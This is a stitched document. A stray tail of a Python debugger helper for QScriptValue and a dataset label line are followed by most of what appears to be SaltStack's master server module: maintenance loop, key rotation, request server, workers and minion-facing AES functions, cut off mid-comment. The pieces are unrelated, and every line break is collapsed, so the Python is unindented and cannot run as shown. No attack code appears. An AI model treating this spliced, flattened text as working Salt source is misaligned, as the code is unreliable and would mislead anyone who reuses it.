"QScript::QVariantDelegate").pointer() delegate = scriptObject["d"]["delegate"].cast(delegateType) #d.putSubItem("delegate", delegate) variant = delegate["m_value"] #d.putSubItem("variant", variant) t = qdump__QVariant(d, variant) # Override the "QVariant (foo)" output d.putBetterType("%sQScriptValue (%s)" % (ns, t)) if t != "JSCoreValue": return except: pass # This is a "native" JSCore type for e.g. QDateTime. d.putValue("<native>") d.putNumChild(1) if d.isExpanded(): with Children(d): d.putSubItem("jscValue", dd["jscValue"])
codeparrot/github-code-clean
# -*- coding: utf-8 -*- ''' This module contains all of the routines needed to set up a master server, this involves preparing the three listeners and the workers needed by the master. ''' # Import python libs from __future__ import absolute_import import copy import os import re import sys import time import errno import logging import tempfile import multiprocessing import traceback # Import third party libs import zmq from Crypto.PublicKey import RSA # pylint: disable=import-error,no-name-in-module,redefined-builtin import salt.ext.six as six from salt.ext.six.moves import range # pylint: enable=import-error,no-name-in-module,redefined-builtin import zmq.eventloop.ioloop # support pyzmq 13.0.x, TODO: remove once we force people to 14.0.x if not hasattr(zmq.eventloop.ioloop, 'ZMQIOLoop'): zmq.eventloop.ioloop.ZMQIOLoop = zmq.eventloop.ioloop.IOLoop import tornado.gen # pylint: disable=F0401 # Import salt libs import salt.crypt import salt.utils import salt.client import salt.payload import salt.pillar import salt.state import salt.runner import salt.auth import salt.wheel import salt.minion import salt.search import salt.key import salt.acl import salt.engines import salt.fileserver import salt.daemons.masterapi import salt.defaults.exitcodes import salt.transport.server import salt.utils.atomicfile import salt.utils.event import salt.utils.job import salt.utils.reactor import salt.utils.verify import salt.utils.minions import salt.utils.gzip_util import salt.utils.process import salt.utils.zeromq import salt.utils.jid from salt.defaults import DEFAULT_TARGET_DELIM from salt.exceptions import FileserverConfigError from salt.utils.debug import ( enable_sigusr1_handler, enable_sigusr2_handler, inspect_stack ) from salt.utils.event import tagify from salt.utils.master import ConnectedCache try: import resource HAS_RESOURCE = True except ImportError: # resource is not available on windows HAS_RESOURCE = False # Import halite libs try: import halite # pylint: disable=import-error HAS_HALITE = True except ImportError: HAS_HALITE = False log = logging.getLogger(__name__) class SMaster(object): ''' Create a simple salt-master, this will generate the top-level master ''' secrets = {} # mapping of key -> {'secret': multiprocessing type, 'reload': FUNCTION} def __init__(self, opts): ''' Create a salt master server instance :param dict opts: The salt options dictionary ''' self.opts = opts self.master_key = salt.crypt.MasterKeys(self.opts) self.key = self.__prep_key() # We need __setstate__ and __getstate__ to also pickle 'SMaster.secrets'. # Otherwise, 'SMaster.secrets' won't be copied over to the spawned process # on Windows since spawning processes on Windows requires pickling. # These methods are only used when pickling so will not be used on # non-Windows platforms. def __setstate__(self, state): self.opts = state['opts'] self.master_key = state['master_key'] self.key = state['key'] SMaster.secrets = state['secrets'] def __getstate__(self): return {'opts': self.opts, 'master_key': self.master_key, 'key': self.key, 'secrets': SMaster.secrets} def __prep_key(self): ''' A key needs to be placed in the filesystem with permissions 0400 so clients are required to run as root. ''' return salt.daemons.masterapi.access_keys(self.opts) class Maintenance(multiprocessing.Process): ''' A generalized maintenance process which performances maintenance routines. ''' def __init__(self, opts): ''' Create a maintenance instance :param dict opts: The salt options ''' super(Maintenance, self).__init__() self.opts = opts # How often do we perform the maintenance tasks self.loop_interval = int(self.opts['loop_interval']) # Track key rotation intervals self.rotate = int(time.time()) def _post_fork_init(self): ''' Some things need to be init'd after the fork has completed The easiest example is that one of these module types creates a thread in the parent process, then once the fork happens you'll start getting errors like "WARNING: Mixing fork() and threads detected; memory leaked." ''' # Init fileserver manager self.fileserver = salt.fileserver.Fileserver(self.opts) # Load Runners ropts = dict(self.opts) ropts['quiet'] = True runner_client = salt.runner.RunnerClient(ropts) # Load Returners self.returners = salt.loader.returners(self.opts, {}) # Init Scheduler self.schedule = salt.utils.schedule.Schedule(self.opts, runner_client.functions_dict(), returners=self.returners) self.ckminions = salt.utils.minions.CkMinions(self.opts) # Make Event bus for firing self.event = salt.utils.event.get_master_event(self.opts, self.opts['sock_dir'], listen=False) # Init any values needed by the git ext pillar self.git_pillar = salt.daemons.masterapi.init_git_pillar(self.opts) # Set up search object self.search = salt.search.Search(self.opts) def run(self): ''' This is the general passive maintenance process controller for the Salt master. This is where any data that needs to be cleanly maintained from the master is maintained. ''' salt.utils.appendproctitle('Maintenance') # init things that need to be done after the process is forked self._post_fork_init() # Make Start Times last = int(time.time()) # Clean out the fileserver backend cache salt.daemons.masterapi.clean_fsbackend(self.opts) # Clean out pub auth salt.daemons.masterapi.clean_pub_auth(self.opts) old_present = set() while True: now = int(time.time()) if (now - last) >= self.loop_interval: salt.daemons.masterapi.clean_old_jobs(self.opts) salt.daemons.masterapi.clean_expired_tokens(self.opts) self.handle_search(now, last) self.handle_git_pillar() self.handle_schedule() self.handle_presence(old_present) self.handle_key_rotate(now) salt.daemons.masterapi.fileserver_update(self.fileserver) salt.utils.verify.check_max_open_files(self.opts) last = now try: time.sleep(self.loop_interval) except KeyboardInterrupt: break def handle_search(self, now, last): ''' Update the search index ''' if self.opts.get('search'): if now - last >= self.opts['search_index_interval']: self.search.index() def handle_key_rotate(self, now): ''' Rotate the AES key rotation ''' to_rotate = False dfn = os.path.join(self.opts['cachedir'], '.dfn') try: stats = os.stat(dfn) if stats.st_mode == 0o100400: to_rotate = True else: log.error('Found dropfile with incorrect permissions, ignoring...') os.remove(dfn) except os.error: pass if self.opts.get('publish_session'): if now - self.rotate >= self.opts['publish_session']: to_rotate = True if to_rotate: log.info('Rotating master AES key') for secret_key, secret_map in six.iteritems(SMaster.secrets): # should be unnecessary-- since no one else should be modifying with secret_map['secret'].get_lock(): secret_map['secret'].value = secret_map['reload']() self.event.fire_event({'rotate_{0}_key'.format(secret_key): True}, tag='key') self.rotate = now if self.opts.get('ping_on_rotate'): # Ping all minions to get them to pick up the new key log.debug('Pinging all connected minions ' 'due to key rotation') salt.utils.master.ping_all_connected_minions(self.opts) def handle_git_pillar(self): ''' Update git pillar ''' try: for pillar in self.git_pillar: pillar.update() except Exception as exc: log.error( 'Exception \'{0}\' caught while updating git_pillar' .format(exc), exc_info_on_loglevel=logging.DEBUG ) def handle_schedule(self): ''' Evaluate the scheduler ''' try: self.schedule.eval() # Check if scheduler requires lower loop interval than # the loop_interval setting if self.schedule.loop_interval < self.loop_interval: self.loop_interval = self.schedule.loop_interval except Exception as exc: log.error( 'Exception {0} occurred in scheduled job'.format(exc) ) def handle_presence(self, old_present): ''' Fire presence events if enabled ''' if self.opts.get('presence_events', False): present = self.ckminions.connected_ids() new = present.difference(old_present) lost = old_present.difference(present) if new or lost: # Fire new minions present event data = {'new': list(new), 'lost': list(lost)} self.event.fire_event(data, tagify('change', 'presence')) data = {'present': list(present)} self.event.fire_event(data, tagify('present', 'presence')) old_present.clear() old_present.update(present) class Master(SMaster): ''' The salt master server ''' def __init__(self, opts): ''' Create a salt master server instance :param dict: The salt options ''' # Warn if ZMQ < 3.2 try: zmq_version_info = zmq.zmq_version_info() except AttributeError: # PyZMQ <= 2.1.9 does not have zmq_version_info, fall back to # using zmq.zmq_version() and build a version info tuple. zmq_version_info = tuple( [int(x) for x in zmq.zmq_version().split('.')] ) if zmq_version_info < (3, 2): log.warning( 'You have a version of ZMQ less than ZMQ 3.2! There are ' 'known connection keep-alive issues with ZMQ < 3.2 which ' 'may result in loss of contact with minions. Please ' 'upgrade your ZMQ!' ) SMaster.__init__(self, opts) def __set_max_open_files(self): if not HAS_RESOURCE: return # Let's check to see how our max open files(ulimit -n) setting is mof_s, mof_h = resource.getrlimit(resource.RLIMIT_NOFILE) if mof_h == resource.RLIM_INFINITY: # Unclear what to do with infinity... OSX reports RLIM_INFINITY as # hard limit,but raising to anything above soft limit fails... mof_h = mof_s log.info( 'Current values for max open files soft/hard setting: ' '{0}/{1}'.format( mof_s, mof_h ) ) # Let's grab, from the configuration file, the value to raise max open # files to mof_c = self.opts['max_open_files'] if mof_c > mof_h: # The configured value is higher than what's allowed log.info( 'The value for the \'max_open_files\' setting, {0}, is higher ' 'than what the user running salt is allowed to raise to, {1}. ' 'Defaulting to {1}.'.format(mof_c, mof_h) ) mof_c = mof_h if mof_s < mof_c: # There's room to raise the value. Raise it! log.info('Raising max open files value to {0}'.format(mof_c)) resource.setrlimit(resource.RLIMIT_NOFILE, (mof_c, mof_h)) try: mof_s, mof_h = resource.getrlimit(resource.RLIMIT_NOFILE) log.info( 'New values for max open files soft/hard values: ' '{0}/{1}'.format(mof_s, mof_h) ) except ValueError: # https://github.com/saltstack/salt/issues/1991#issuecomment-13025595 # A user under OSX reported that our 100000 default value is # still too high. log.critical( 'Failed to raise max open files setting to {0}. If this ' 'value is too low. The salt-master will most likely fail ' 'to run properly.'.format( mof_c ) ) def _pre_flight(self): ''' Run pre flight checks. If anything in this method fails then the master should not start up. ''' errors = [] critical_errors = [] try: os.chdir('/') except OSError as err: errors.append( 'Cannot change to root directory ({1})'.format(err) ) fileserver = salt.fileserver.Fileserver(self.opts) if not fileserver.servers: errors.append( 'Failed to load fileserver backends, the configured backends ' 'are: {0}'.format(', '.join(self.opts['fileserver_backend'])) ) else: # Run init() for all backends which support the function, to # double-check configuration try: fileserver.init() except FileserverConfigError as exc: critical_errors.append('{0}'.format(exc)) if not self.opts['fileserver_backend']: errors.append('No fileserver backends are configured') # Check to see if we need to create a pillar cache dir if self.opts['pillar_cache'] and not os.path.isdir(os.path.join(self.opts['cachedir'], 'pillar_cache')): try: prev_umask = os.umask(0o077) os.mkdir(os.path.join(self.opts['cachedir'], 'pillar_cache')) os.umask(prev_umask) except OSError: pass non_legacy_git_pillars = [ x for x in self.opts.get('ext_pillar', []) if 'git' in x and not isinstance(x['git'], six.string_types) ] if non_legacy_git_pillars: new_opts = copy.deepcopy(self.opts) new_opts['ext_pillar'] = non_legacy_git_pillars try: # Init any values needed by the git ext pillar salt.utils.gitfs.GitPillar(new_opts) except FileserverConfigError as exc: critical_errors.append(exc.strerror) finally: del new_opts if errors or critical_errors: for error in errors: log.error(error) for error in critical_errors: log.critical(error) log.critical('Master failed pre flight checks, exiting\n') sys.exit(salt.defaults.exitcodes.EX_GENERIC) # run_reqserver cannot be defined within a class method in order for it # to be picklable. def run_reqserver(self): reqserv = ReqServer( self.opts, self.key, self.master_key) reqserv.run() def start(self): ''' Turn on the master server components ''' self._pre_flight() log.info( 'salt-master is starting as user {0!r}'.format(salt.utils.get_user()) ) enable_sigusr1_handler() enable_sigusr2_handler() self.__set_max_open_files() log.info('Creating master process manager') process_manager = salt.utils.process.ProcessManager() log.info('Creating master maintenance process') pub_channels = [] for transport, opts in iter_transport_opts(self.opts): chan = salt.transport.server.PubServerChannel.factory(opts) chan.pre_fork(process_manager) pub_channels.append(chan) log.info('Creating master event publisher process') process_manager.add_process(salt.utils.event.EventPublisher, args=(self.opts,)) salt.engines.start_engines(self.opts, process_manager) # must be after channels process_manager.add_process(Maintenance, args=(self.opts,)) log.info('Creating master publisher process') if self.opts.get('reactor'): log.info('Creating master reactor process') process_manager.add_process(salt.utils.reactor.Reactor, args=(self.opts,)) if self.opts.get('event_return'): log.info('Creating master event return process') process_manager.add_process(salt.utils.event.EventReturn, args=(self.opts,)) ext_procs = self.opts.get('ext_processes', []) for proc in ext_procs: log.info('Creating ext_processes process: {0}'.format(proc)) try: mod = '.'.join(proc.split('.')[:-1]) cls = proc.split('.')[-1] _tmp = __import__(mod, globals(), locals(), [cls], -1) cls = _tmp.__getattribute__(cls) process_manager.add_process(cls, args=(self.opts,)) except Exception: log.error(('Error creating ext_processes ' 'process: {0}').format(proc)) if HAS_HALITE and 'halite' in self.opts: log.info('Creating master halite process') process_manager.add_process(Halite, args=(self.opts['halite'],)) # TODO: remove, or at least push into the transport stuff (pre-fork probably makes sense there) if self.opts['con_cache']: log.info('Creating master concache process') process_manager.add_process(ConnectedCache, args=(self.opts,)) # workaround for issue #16315, race condition log.debug('Sleeping for two seconds to let concache rest') time.sleep(2) log.info('Creating master request server process') process_manager.add_process(self.run_reqserver) try: process_manager.run() except KeyboardInterrupt: # Shut the master down gracefully on SIGINT log.warn('Stopping the Salt Master') process_manager.kill_children() raise SystemExit('\nExiting on Ctrl-c') class Halite(multiprocessing.Process): ''' Manage the Halite server ''' def __init__(self, hopts): ''' Create a halite instance :param dict hopts: The halite options ''' super(Halite, self).__init__() self.hopts = hopts def run(self): ''' Fire up halite! ''' salt.utils.appendproctitle(self.__class__.__name__) halite.start(self.hopts) # TODO: move to utils?? def iter_transport_opts(opts): ''' Yield transport, opts for all master configured transports ''' transports = set() for transport, opts_overrides in six.iteritems(opts.get('transport_opts', {})): t_opts = dict(opts) t_opts.update(opts_overrides) t_opts['transport'] = transport transports.add(transport) yield transport, t_opts if opts['transport'] not in transports: yield opts['transport'], opts class ReqServer(object): ''' Starts up the master request server, minions send results to this interface. ''' def __init__(self, opts, key, mkey): ''' Create a request server :param dict opts: The salt options dictionary :key dict: The user starting the server and the AES key :mkey dict: The user starting the server and the RSA key :rtype: ReqServer :returns: Request server ''' self.opts = opts self.master_key = mkey # Prepare the AES key self.key = key def __bind(self): ''' Binds the reply server ''' dfn = os.path.join(self.opts['cachedir'], '.dfn') if os.path.isfile(dfn): try: os.remove(dfn) except os.error: pass self.process_manager = salt.utils.process.ProcessManager(name='ReqServer_ProcessManager') req_channels = [] for transport, opts in iter_transport_opts(self.opts): chan = salt.transport.server.ReqServerChannel.factory(opts) chan.pre_fork(self.process_manager) req_channels.append(chan) for ind in range(int(self.opts['worker_threads'])): self.process_manager.add_process(MWorker, args=(self.opts, self.master_key, self.key, req_channels, ), ) self.process_manager.run() def run(self): ''' Start up the ReqServer ''' try: self.__bind() except KeyboardInterrupt: log.warn('Stopping the Salt Master') raise SystemExit('\nExiting on Ctrl-c') def destroy(self): if hasattr(self, 'clients') and self.clients.closed is False: self.clients.setsockopt(zmq.LINGER, 1) self.clients.close() if hasattr(self, 'workers') and self.workers.closed is False: self.workers.setsockopt(zmq.LINGER, 1) self.workers.close() if hasattr(self, 'context') and self.context.closed is False: self.context.term() # Also stop the workers if hasattr(self, 'process_manager'): self.process_manager.kill_children() def __del__(self): self.destroy() class MWorker(multiprocessing.Process): ''' The worker multiprocess instance to manage the backend operations for the salt master. ''' def __init__(self, opts, mkey, key, req_channels): ''' Create a salt master worker process :param dict opts: The salt options :param dict mkey: The user running the salt master and the AES key :param dict key: The user running the salt master and the RSA key :rtype: MWorker :return: Master worker ''' multiprocessing.Process.__init__(self) self.opts = opts self.req_channels = req_channels self.mkey = mkey self.key = key self.k_mtime = 0 # We need __setstate__ and __getstate__ to also pickle 'SMaster.secrets'. # Otherwise, 'SMaster.secrets' won't be copied over to the spawned process # on Windows since spawning processes on Windows requires pickling. # These methods are only used when pickling so will not be used on # non-Windows platforms. def __setstate__(self, state): multiprocessing.Process.__init__(self) self.opts = state['opts'] self.req_channels = state['req_channels'] self.mkey = state['mkey'] self.key = state['key'] self.k_mtime = state['k_mtime'] SMaster.secrets = state['secrets'] def __getstate__(self): return {'opts': self.opts, 'req_channels': self.req_channels, 'mkey': self.mkey, 'key': self.key, 'k_mtime': self.k_mtime, 'secrets': SMaster.secrets} def __bind(self): ''' Bind to the local port ''' # using ZMQIOLoop since we *might* need zmq in there zmq.eventloop.ioloop.install() self.io_loop = zmq.eventloop.ioloop.ZMQIOLoop() for req_channel in self.req_channels: req_channel.post_fork(self._handle_payload, io_loop=self.io_loop) # TODO: cleaner? Maybe lazily? self.io_loop.start() @tornado.gen.coroutine def _handle_payload(self, payload): ''' The _handle_payload method is the key method used to figure out what needs to be done with communication to the server Example cleartext payload generated for 'salt myminion test.ping': {'enc': 'clear', 'load': {'arg': [], 'cmd': 'publish', 'fun': 'test.ping', 'jid': '', 'key': 'alsdkjfa.,maljf-==adflkjadflkjalkjadfadflkajdflkj', 'kwargs': {'show_jid': False, 'show_timeout': False}, 'ret': '', 'tgt': 'myminion', 'tgt_type': 'glob', 'user': 'root'}} :param dict payload: The payload route to the appropriate handler ''' key = payload['enc'] load = payload['load'] ret = {'aes': self._handle_aes, 'clear': self._handle_clear}[key](load) raise tornado.gen.Return(ret) def _handle_clear(self, load): ''' Process a cleartext command :param dict load: Cleartext payload :return: The result of passing the load to a function in ClearFuncs corresponding to the command specified in the load's 'cmd' key. ''' log.trace('Clear payload received with command {cmd}'.format(**load)) if load['cmd'].startswith('__'): return False return getattr(self.clear_funcs, load['cmd'])(load), {'fun': 'send_clear'} def _handle_aes(self, data): ''' Process a command sent via an AES key :param str load: Encrypted payload :return: The result of passing the load to a function in AESFuncs corresponding to the command specified in the load's 'cmd' key. ''' if 'cmd' not in data: log.error('Received malformed command {0}'.format(data)) return {} log.trace('AES payload received with command {0}'.format(data['cmd'])) if data['cmd'].startswith('__'): return False return self.aes_funcs.run_func(data['cmd'], data) def run(self): ''' Start a Master Worker ''' salt.utils.appendproctitle(self.__class__.__name__) self.clear_funcs = ClearFuncs( self.opts, self.key, ) self.aes_funcs = AESFuncs(self.opts) salt.utils.reinit_crypto() self.__bind() # TODO: rename? No longer tied to "AES", just "encrypted" or "private" requests class AESFuncs(object): ''' Set up functions that are available when the load is encrypted with AES ''' # The AES Functions: # def __init__(self, opts): ''' Create a new AESFuncs :param dict opts: The salt options :rtype: AESFuncs :returns: Instance for handling AES operations ''' self.opts = opts self.event = salt.utils.event.get_master_event(self.opts, self.opts['sock_dir'], listen=False) self.serial = salt.payload.Serial(opts) self.ckminions = salt.utils.minions.CkMinions(opts) # Make a client self.local = salt.client.get_local_client(self.opts['conf_file']) # Create the master minion to access the external job cache self.mminion = salt.minion.MasterMinion( self.opts, states=False, rend=False) self.__setup_fileserver() self.masterapi = salt.daemons.masterapi.RemoteFuncs(opts) def __setup_fileserver(self): ''' Set the local file objects from the file server interface ''' self.fs_ = salt.fileserver.Fileserver(self.opts) self._serve_file = self.fs_.serve_file self._file_hash = self.fs_.file_hash self._file_list = self.fs_.file_list self._file_list_emptydirs = self.fs_.file_list_emptydirs self._dir_list = self.fs_.dir_list self._symlink_list = self.fs_.symlink_list self._file_envs = self.fs_.envs def __verify_minion(self, id_, token): ''' Take a minion id and a string signed with the minion private key The string needs to verify as 'salt' with the minion public key :param str id_: A minion ID :param str token: A string signed with the minion private key :rtype: bool :return: Boolean indicating whether or not the token can be verified. ''' if not salt.utils.verify.valid_id(self.opts, id_): return False pub_path = os.path.join(self.opts['pki_dir'], 'minions', id_) with salt.utils.fopen(pub_path, 'r') as fp_: minion_pub = fp_.read() tmp_pub = salt.utils.mkstemp() with salt.utils.fopen(tmp_pub, 'w+') as fp_: fp_.write(minion_pub) pub = None try: with salt.utils.fopen(tmp_pub) as fp_: pub = RSA.importKey(fp_.read()) except (ValueError, IndexError, TypeError) as err: log.error('Unable to load temporary public key "{0}": {1}' .format(tmp_pub, err)) try: os.remove(tmp_pub) if salt.crypt.public_decrypt(pub, token) == 'salt': return True except ValueError as err: log.error('Unable to decrypt token: {0}'.format(err)) log.error('Salt minion claiming to be {0} has attempted to' 'communicate with the master and could not be verified' .format(id_)) return False def __verify_minion_publish(self, clear_load): ''' Verify that the passed information authorized a minion to execute :param dict clear_load: A publication load from a minion :rtype: bool :return: A boolean indicating if the minion is allowed to publish the command in the load ''' # Verify that the load is valid if 'peer' not in self.opts: return False if not isinstance(self.opts['peer'], dict): return False if any(key not in clear_load for key in ('fun', 'arg', 'tgt', 'ret', 'tok', 'id')): return False # If the command will make a recursive publish don't run if clear_load['fun'].startswith('publish.'): return False # Check the permissions for this minion if not self.__verify_minion(clear_load['id'], clear_load['tok']): # The minion is not who it says it is! # We don't want to listen to it! log.warn( ( 'Minion id {0} is not who it says it is and is attempting ' 'to issue a peer command' ).format(clear_load['id']) ) return False clear_load.pop('tok') perms = [] for match in self.opts['peer']: if re.match(match, clear_load['id']): # This is the list of funcs/modules! if isinstance(self.opts['peer'][match], list): perms.extend(self.opts['peer'][match]) if ',' in clear_load['fun']: # 'arg': [['cat', '/proc/cpuinfo'], [], ['foo']] clear_load['fun'] = clear_load['fun'].split(',') arg_ = [] for arg in clear_load['arg']: arg_.append(arg.split()) clear_load['arg'] = arg_ # finally, check the auth of the load return self.ckminions.auth_check( perms, clear_load['fun'], clear_load['tgt'], clear_load.get('tgt_type', 'glob'), publish_validate=True) def __verify_load(self, load, verify_keys): ''' A utility function to perform common verification steps. :param dict load: A payload received from a minion :param list verify_keys: A list of strings that should be present in a given load :rtype: bool :rtype: dict :return: The original load (except for the token) if the load can be verified. False if the load is invalid. ''' if any(key not in load for key in verify_keys): return False if 'tok' not in load: log.error( 'Received incomplete call from {0} for {1!r}, missing {2!r}' .format( load['id'], inspect_stack()['co_name'], 'tok' )) return False if not self.__verify_minion(load['id'], load['tok']): # The minion is not who it says it is! # We don't want to listen to it! log.warn( 'Minion id {0} is not who it says it is!'.format( load['id'] ) ) return False if 'tok' in load: load.pop('tok') return load def _ext_nodes(self, load): ''' Return the results from an external node classifier if one is specified :param dict load: A payload received from a minion :return: The results from an external node classifier ''' load = self.__verify_load(load, ('id', 'tok')) if load is False: return {} return self.masterapi._ext_nodes(load, skip_verify=True) def _master_opts(self, load): ''' Return the master options to the minion :param dict load: A payload received from a minion :rtype: dict :return: The master options ''' mopts = {} file_roots = {} envs = self._file_envs() for saltenv in envs: if saltenv not in file_roots: file_roots[saltenv] = [] mopts['file_roots'] = file_roots mopts['top_file_merging_strategy'] = self.opts['top_file_merging_strategy'] mopts['env_order'] = self.opts['env_order'] mopts['default_top'] = self.opts['default_top'] if load.get('env_only'): return mopts mopts['renderer'] = self.opts['renderer'] mopts['failhard'] = self.opts['failhard'] mopts['state_top'] = self.opts['state_top'] mopts['state_top_saltenv'] = self.opts['state_top_saltenv'] mopts['nodegroups'] = self.opts['nodegroups'] mopts['state_auto_order'] = self.opts['state_auto_order'] mopts['state_events'] = self.opts['state_events'] mopts['state_aggregate'] = self.opts['state_aggregate'] mopts['jinja_lstrip_blocks'] = self.opts['jinja_lstrip_blocks'] mopts['jinja_trim_blocks'] = self.opts['jinja_trim_blocks'] return mopts def _mine_get(self, load): ''' Gathers the data from the specified minions' mine :param dict load: A payload received from a minion :rtype: dict :return: Mine data from the specified minions ''' load = self.__verify_load(load, ('id', 'tgt', 'fun', 'tok')) if load is False: return {} else: return self.masterapi._mine_get(load, skip_verify=True) def _mine(self, load): ''' Store the mine data :param dict load: A payload received from a minion :rtype: bool :return: True if the data has been stored in the mine ''' load = self.__verify_load(load, ('id', 'data', 'tok')) if load is False: return {} return self.masterapi._mine(load, skip_verify=True) def _mine_delete(self, load): ''' Allow the minion to delete a specific function from its own mine :param dict load: A payload received from a minion :rtype: bool :return: Boolean indicating whether or not the given function was deleted from the mine ''' load = self.__verify_load(load, ('id', 'fun', 'tok')) if load is False: return {} else: return self.masterapi._mine_delete(load) def _mine_flush(self, load): ''' Allow the minion to delete all of its own mine contents :param dict load: A payload received from a minion ''' load = self.__verify_load(load, ('id', 'tok')) if load is False: return {} else: return self.masterapi._mine_flush(load, skip_verify=True) def _file_recv(self, load): ''' Allows minions to send files to the master, files are sent to the master file cache ''' if any(key not in load for key in ('id', 'path', 'loc')): return False if not self.opts['file_recv'] or os.path.isabs(load['path']): return False if os.path.isabs(load['path']) or '../' in load['path']: # Can overwrite master files!! return False if not salt.utils.verify.valid_id(self.opts, load['id']): return False file_recv_max_size = 1024*1024 * self.opts['file_recv_max_size'] if 'loc' in load and load['loc'] < 0: log.error('Invalid file pointer: load[loc] < 0') return False if len(load['data']) + load.get('loc', 0) > file_recv_max_size: log.error( 'Exceeding file_recv_max_size limit: {0}'.format( file_recv_max_size ) ) return False if 'tok' not in load: log.error( 'Received incomplete call from {0} for {1!r}, missing {2!r}' .format( load['id'], inspect_stack()['co_name'], 'tok' )) return False if not self.__verify_minion(load['id'], load['tok']): # The minion is not who it says it is! # We don't want to listen to it! log.warn( 'Minion id {0} is not who it says it is!'.format( load['id'] ) ) return {} load.pop('tok') # Normalize Windows paths normpath = load['path'] if ':' in normpath: # make sure double backslashes are normalized normpath = normpath.replace('\\', '/') normpath = os.path.normpath(normpath) cpath = os.path.join( self.opts['cachedir'], 'minions', load['id'], 'files', normpath) cdir = os.path.dirname(cpath) if not os.path.isdir(cdir): try: os.makedirs(cdir) except os.error: pass if os.path.isfile(cpath) and load['loc'] != 0: mode = 'ab' else: mode = 'wb' with salt.utils.fopen(cpath, mode) as fp_: if load['loc']: fp_.seek(load['loc']) fp_.write(load['data']) return True def _pillar(self, load): ''' Return the pillar data for the minion :param dict load: Minion payload :rtype: dict :return: The pillar data for the minion ''' if any(key not in load for key in ('id', 'grains')): return False if not salt.utils.verify.valid_id(self.opts, load['id']): return False load['grains']['id'] = load['id'] pillar_dirs = {} # pillar = salt.pillar.Pillar( pillar = salt.pillar.get_pillar( self.opts, load['grains'], load['id'], load.get('saltenv', load.get('env')), ext=load.get('ext'), pillar=load.get('pillar_override', {}), pillarenv=load.get('pillarenv')) data = pillar.compile_pillar(pillar_dirs=pillar_dirs) self.fs_.update_opts() if self.opts.get('minion_data_cache', False): cdir = os.path.join(self.opts['cachedir'], 'minions', load['id']) if not os.path.isdir(cdir): os.makedirs(cdir) datap = os.path.join(cdir, 'data.p') tmpfh, tmpfname = tempfile.mkstemp(dir=cdir) os.close(tmpfh) with salt.utils.fopen(tmpfname, 'w+b') as fp_: fp_.write( self.serial.dumps( {'grains': load['grains'], 'pillar': data}) ) # On Windows, os.rename will fail if the destination file exists. salt.utils.atomicfile.atomic_rename(tmpfname, datap) return data def _minion_event(self, load): ''' Receive an event from the minion and fire it on the master event interface :param dict load: The minion payload ''' load = self.__verify_load(load, ('id', 'tok')) if load is False: return {} # Route to master event bus self.masterapi._minion_event(load) # Process locally self._handle_minion_event(load) def _handle_minion_event(self, load): ''' Act on specific events from minions ''' id_ = load['id'] if load.get('tag', '') == '_salt_error': log.error( 'Received minion error from [{minion}]: {data}' .format(minion=id_, data=load['data']['message']) ) for event in load.get('events', []): event_data = event.get('data', {}) if 'minions' in event_data: jid = event_data.get('jid') if not jid: continue minions = event_data['minions'] try: salt.utils.job.store_minions( self.opts, jid, minions, mminion=self.mminion, syndic_id=id_) except (KeyError, salt.exceptions.SaltCacheError) as exc: log.error( 'Could not add minion(s) {0} for job {1}: {2}' .format(minions, jid, exc) ) def _return(self, load): ''' Handle the return data sent from the minions. Takes the return, verifies it and fires it on the master event bus. Typically, this event is consumed by the Salt CLI waiting on the other end of the event bus but could be heard by any listener on the bus. :param dict load: The minion payload ''' try: salt.utils.job.store_job( self.opts, load, event=self.event, mminion=self.mminion) except salt.exceptions.SaltCacheError: log.error('Could not store job information for load: {0}'.format(load)) def _syndic_return(self, load): ''' Receive a syndic minion return and format it to look like returns from individual minions. :param dict load: The minion payload ''' # Verify the load if any(key not in load for key in ('return', 'jid', 'id')): return None # if we have a load, save it if load.get('load'): fstr = '{0}.save_load'.format(self.opts['master_job_cache']) self.mminion.returners[fstr](load['jid'], load['load']) # Register the syndic syndic_cache_path = os.path.join(self.opts['cachedir'], 'syndics', load['id']) if not os.path.exists(syndic_cache_path): path_name = os.path.split(syndic_cache_path)[0] if not os.path.exists(path_name): os.makedirs(path_name) with salt.utils.fopen(syndic_cache_path, 'w') as f: f.write('') # Format individual return loads for key, item in six.iteritems(load['return']): ret = {'jid': load['jid'], 'id': key, 'return': item} if 'master_id' in load: ret['master_id'] = load['master_id'] if 'fun' in load: ret['fun'] = load['fun'] if 'arg' in load: ret['fun_args'] = load['arg'] if 'out' in load: ret['out'] = load['out'] self._return(ret) def minion_runner(self, clear_load): ''' Execute a runner from a minion, return the runner's function data :param dict clear_load: The minion payload :rtype: dict :return: The runner function data ''' load = self.__verify_load(clear_load, ('fun', 'arg', 'id', 'tok')) if load is False: return {} else: return self.masterapi.minion_runner(clear_load) def pub_ret(self, load): ''' Request the return data from a specific jid, only allowed if the requesting minion also initialted the execution. :param dict load: The minion payload :rtype: dict :return: Return data corresponding to a given JID ''' load = self.__verify_load(load, ('jid', 'id', 'tok')) if load is False: return {} # Check that this minion can access this data auth_cache = os.path.join( self.opts['cachedir'], 'publish_auth') if not os.path.isdir(auth_cache): os.makedirs(auth_cache) jid_fn = os.path.join(auth_cache, str(load['jid'])) with salt.utils.fopen(jid_fn, 'r') as fp_: if not load['id'] == fp_.read(): return {} # Grab the latest and return return self.local.get_cache_returns(load['jid']) def minion_pub(self, clear_load): ''' Publish a command initiated from a minion, this method executes minion restrictions so that the minion publication will only work if it is enabled in the config. The configuration on the master allows minions to be matched to salt functions, so the minions can only publish allowed salt functions The config will look like this: .. code-block:: bash peer: .*: - .* This configuration will enable all minions to execute all commands: .. code-block:: bash peer: foo.example.com: - test.* The above configuration will only allow the minion foo.example.com to execute commands from the test module. :param dict clear_load: The minion pay ''' if not self.__verify_minion_publish(clear_load): return {} else: return self.masterapi.minion_pub(clear_load) def minion_publish(self, clear_load): ''' Publish a command initiated from a minion, this method executes minion restrictions so that the minion publication will only work if it is enabled in the config. The configuration on the master allows minions to be matched to salt functions, so the minions can only publish allowed salt functions The config will look like this: .. code-block:: bash peer: .*: - .* This configuration will enable all minions to execute all commands. peer: .. code-block:: bash foo.example.com: - test.* The above configuration will only allow the minion foo.example.com to execute commands from the test module. :param dict clear_load: The minion payload ''' if not self.__verify_minion_publish(clear_load): return {} else: return self.masterapi.minion_publish(clear_load) def revoke_auth(self, load): ''' Allow a minion to request revocation of its own key :param dict load: The minion payload :rtype: dict :return: If the load is invalid, it may be returned. No key operation is performed. :rtype: bool :return: True if key was revoked, False if not ''' load = self.__verify_load(load, ('id', 'tok')) if load is False: return load else: return self.masterapi.revoke_auth(load) def run_func(self, func, load): ''' Wrapper for running functions executed with AES encryption :param function func: The function to run :return: The result of the master function that was called ''' # Don't honor private functions if 